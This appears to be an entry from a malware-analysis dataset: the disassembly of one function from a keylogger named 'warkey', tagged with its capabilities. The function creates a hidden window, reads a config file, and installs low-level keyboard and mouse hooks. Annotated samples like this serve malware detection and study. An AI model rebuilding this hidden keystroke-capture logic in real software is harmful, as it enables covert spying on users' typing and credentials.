Function at 0x402200
Capabilities:
Hide graphical window
Log keystrokes via application hook
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
lea edi, [ebp - 0xf0]
mov ecx, 0x3c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [0x40f224], eax
mov esi, esp
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.warkey
push str.WARKEY
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp esi, esp
call fcn.004029e0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40226e
xor eax, eax
jmp 0x40256b
mov esi, esp
push 0
push 2
push 3
push 0
push 1
push 0x80000000
push str.warkey.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp esi, esp
call fcn.004029e0
mov dword [0x40f2dc], eax
cmp dword [0x40f2dc], 0xffffffff
je 0x4024bb
mov dword [ebp - 0x70], 0x64
mov dx, word [0x40c198]
mov word [ebp - 0x78], dx
mov esi, esp
push 0
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [0x40f2dc]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp esi, esp
call fcn.004029e0
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4024b9
mov esi, esp
mov ecx, dword [0x40f2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.004029e0
mov dword [ebp - 0x7c], 0
lea edx, [ebp - 0x78]
push edx
lea eax, [ebp - 0x6c]
push eax
call fcn.00402b40
add esp, 8
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
je 0x402351
mov ecx, dword [ebp - 0x80]
push ecx
mov edx, dword [ebp - 0x7c]
imul edx, edx, 5
lea eax, [ebp + edx - 0xb0]
push eax
call fcn.004028f0
add esp, 8
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov dword [ebp - 0x7c], ecx
lea edx, [ebp - 0x78]
push edx
push 0
call fcn.00402b40
add esp, 8
mov dword [ebp - 0x80], eax
jmp 0x402315
lea eax, [ebp - 0xb0]
push eax
call fcn.00402b20
add esp, 4
mov dword [0x40e048], eax
lea ecx, [ebp - 0xab]
push ecx
call fcn.00402b20
add esp, 4
mov dword [0x40e054], eax
lea edx, [ebp - 0xa6]
push edx
call fcn.00402b20
add esp, 4
mov dword [0x40e060], eax
lea eax, [ebp - 0xa1]
push eax
call fcn.00402b20
add esp, 4
mov dword [0x40e06c], eax
lea ecx, [ebp - 0x9c]
push ecx
call fcn.00402b20
add esp, 4
mov dword [0x40e078], eax
lea edx, [ebp - 0x97]
push edx
call fcn.00402b20
add esp, 4
mov dword [0x40e084], eax
lea eax, [ebp - 0x92]
push eax
call fcn.00402b20
add esp, 4
mov dword [0x40e090], eax
lea ecx, [ebp - 0x8d]
push ecx
call fcn.00402b20
add esp, 4
mov dword [0x40e0a0], eax
lea edx, [ebp - 0x88]
push edx
call fcn.00402b20
add esp, 4
mov dword [0x40e0b0], eax
lea eax, [ebp - 0xb0]
push eax
push 0x40e040
call fcn.004028f0
add esp, 8
lea ecx, [ebp - 0xab]
push ecx
push 0x40e04c
call fcn.004028f0
add esp, 8
lea edx, [ebp - 0xa6]
push edx
push 0x40e058
call fcn.004028f0
add esp, 8
lea eax, [ebp - 0xa1]
push eax
push 0x40e064
call fcn.004028f0
add esp, 8
lea ecx, [ebp - 0x9c]
push ecx
push 0x40e070
call fcn.004028f0
add esp, 8
lea edx, [ebp - 0x97]
push edx
push 0x40e07c
call fcn.004028f0
add esp, 8
lea eax, [ebp - 0x92]
push eax
push 0x40e088
call fcn.004028f0
add esp, 8
lea ecx, [ebp - 0x8d]
push ecx
push 0x40e098
call fcn.004028f0
add esp, 8
lea edx, [ebp - 0x88]
push edx
push 0x40e0a8
call fcn.004028f0
add esp, 8
jmp 0x4024d0
mov esi, esp
mov eax, dword [0x40f2dc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.004029e0
mov esi, esp
push 0
mov edi, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp edi, esp
call fcn.004029e0
push eax
push 0x401b70
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp esi, esp
call fcn.004029e0
mov dword [0x40f228], eax
mov esi, esp
push 0
mov edi, esp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp edi, esp
call fcn.004029e0
push eax
push 0x4010f0
push 0xe
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp esi, esp
call fcn.004029e0
mov dword [0x40f22c], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00401000
add esp, 8
mov esi, esp
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp esi, esp
call fcn.004029e0
mov esi, esp
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp esi, esp
call fcn.004029e0
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xf0
cmp ebp, esp
call fcn.004029e0
mov esp, ebp
pop ebp
ret